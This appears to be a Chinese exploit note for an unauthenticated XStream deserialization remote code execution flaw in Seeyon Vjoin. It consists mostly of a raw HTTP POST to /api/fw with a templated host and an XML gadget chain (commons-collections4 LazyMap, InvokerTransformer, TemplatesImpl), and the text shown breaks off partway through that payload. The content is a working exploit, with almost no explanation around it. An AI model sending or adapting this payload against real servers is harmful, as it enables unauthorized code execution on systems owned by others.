漏洞描述
致远Vjoin前台Xstream反序列化导致RCE
POST /api/fw HTTP/1.1
Host: {{Hostname}}
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoded: gzip, deflate
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2,n-AS,fr-RN
Cache-Control: max-age=0
Connection: keep-alive
Content-Length: 6919
Content-Type: application/xml
Cookie: JSESSIONID=DD9BA127344D6A59D9BA45FCE1859746
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/[REDACTED] Safari/537.36
<map>
<entry>
<org.apache.commons.collections4.keyvalue.TiedMapEntry>
<map class="org.apache.commons.collections4.map.LazyMap" serialization="custom">
<unserializable-parents/>
<org.apache.commons.collections4.map.LazyMap>
<default>
<factory class="org.apache.commons.collections4.functors.InvokerTransformer">
<iMethodName>newTransformer</iMethodName>
<iParamTypes/>
<iArgs/>
</factory>
</default>
<map/>
</org.apache.commons.collections4.map.LazyMap>
</map>
<key class="com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl" serialization="custom">
<com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl>
<default>
<__name>t</__name>
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